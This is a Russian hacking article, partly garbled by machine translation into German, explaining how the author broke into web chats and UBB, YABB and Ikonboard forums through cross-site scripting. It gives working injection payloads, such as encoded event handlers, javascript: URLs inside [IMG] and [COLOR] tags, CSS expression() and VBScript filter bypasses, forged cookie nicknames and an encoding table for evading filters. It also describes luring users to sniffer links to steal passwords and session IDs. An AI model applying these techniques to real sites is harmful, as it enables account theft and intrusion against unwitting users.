    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ ), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;script&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    Aber das ist nicht alles. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG]http://myserver.ru/logo.gif[/IMG] такой тег вставляет в сообщение картинку с адресом http://myserver.ru/logo.gif . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) ).

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) ).

    3. А вот еще одна дырка в форумах http://www.ikonboard.com: помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    Всякая всячина

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод window.open("http://ya.ru", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт ya.ru. Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: http://chat.bigmir.net и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) ). Красиво ?

    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал http://fig.vam.com/cgi-bin/girl.cgi , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href=http://fig.vam.com/cgi-bin/girl.cgi target=_blank&gt;http://fig.vam.com/cgi-bin/girl.cgi После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) oder background:expression(alert())
    Табличка часто применяемых кодов:
    Symbol Dezimale Codierung 16. Zeichencodierung * Zeichencodierung Unicode
    " " " " "
    ' ' '   '
    " " "   "
    <пробел>   +
    = = =   %3D
    < < < < %3C
    > > > > %3E
    \ \ \   %5C
    % % %   %
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    & & & & &

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    Es wird nicht überflüssig sein, dass Ihre Freunde diese Informationen kennen, teilen Sie ihren Artikel mit ihnen!

    Erweitern / Reduzieren Expand / Collapse Box mit Kommentaren

    Kommentare

    Wenn Sie sich dazu äußern, denken Sie daran, dass der Inhalt und der Ton Ihrer Botschaft die Gefühle echter Menschen verletzen, Respekt und Toleranz gegenüber Ihren Gesprächspartnern zeigen können, selbst wenn Sie ihre Meinung, Ihr Verhalten in den Bedingungen der Meinungsfreiheit und Anonymität des Internets, nicht ändern nicht nur virtuell, sondern auch die reale Welt. Alle Kommentare sind aus dem Index versteckt, Spam wird kontrolliert.
    Jetzt kann jeder Artikel veröffentlichen
    Probieren Sie es zuerst aus!
    Schreibe einen Artikel
    Gefiel es? RSS- Nachrichten abonnieren,
    der Erste zu sein, der Informationen erhält
    über alle wichtigen Ereignisse des Landes und der Welt.
    Sie können auch shram.kiev.ua unterstützen, klicken Sie auf: